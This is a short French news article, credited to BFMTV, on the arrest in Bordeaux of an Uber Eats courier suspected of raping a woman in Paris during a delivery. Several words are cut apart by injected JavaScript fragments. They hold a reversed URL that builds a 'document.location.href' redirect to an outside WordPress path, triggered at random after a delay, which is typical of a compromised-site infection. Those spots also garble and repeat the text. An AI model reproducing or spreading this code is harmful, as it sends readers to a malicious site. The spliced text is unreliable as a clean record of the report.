France: Un livreur Uber Eats soupçonné de viol à Paris interpellé à Bordeaux
La jeune femme a déclaré que le suspect s’était introduit chez elle lors de la livraison de sa commtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}ande et l’a violée alors qu’elle venait de prendre des somnifères.
Le livreur de la société Uber Eats, le service de livraison de repas du géant américain Uber, soupçonné de viol à Paris début août a été interpellé lundi à Bordeaux alors qu’il tentait de rejoindre l’Espagne, a-t-on appris ce mardi de source policière.
L’homme, un Bangladais en situation irrégulière, a été interpellé alors qu’il prenait un bus à Bordeaux en direction de l’Espagne, selon une source policière, confirmant une information du Parisien. Il est soupçonné d’avoir violé dans la nuit du 5 au 6 août une jeune femme à qui il venait livrer un repas.
Une enquête ouverte
La jeune femme a déclaré que le suspect s’était introduit chez elle lors de la livraison de sa commtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}ande et l’a violée alors qu’elle venait de prendre des somnifères, selon une source proche du toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dossier.
Le parquet de Paris a ouvert une enquête du chef de viol, confiée au 2e district de la police judiciaire parisienne (2e DPJ), selon une source policière.
“Les faits rapportés sont effroyables et nous les prenons avec d’autant plus de sérieux et gravité que nous sommes engagés sur la cause des violences sexuelles et sexistes et menons des actions pour lutter contre ce fléau”, avait réagi un porte-parole d’Uber. “Nous travaillons avec les forces de l’ordre et leur avons fourni toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toutes les informations toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dont nous disposons pour avancer dans leur enquête”, avait-il ajouté.
Source: BFMTV
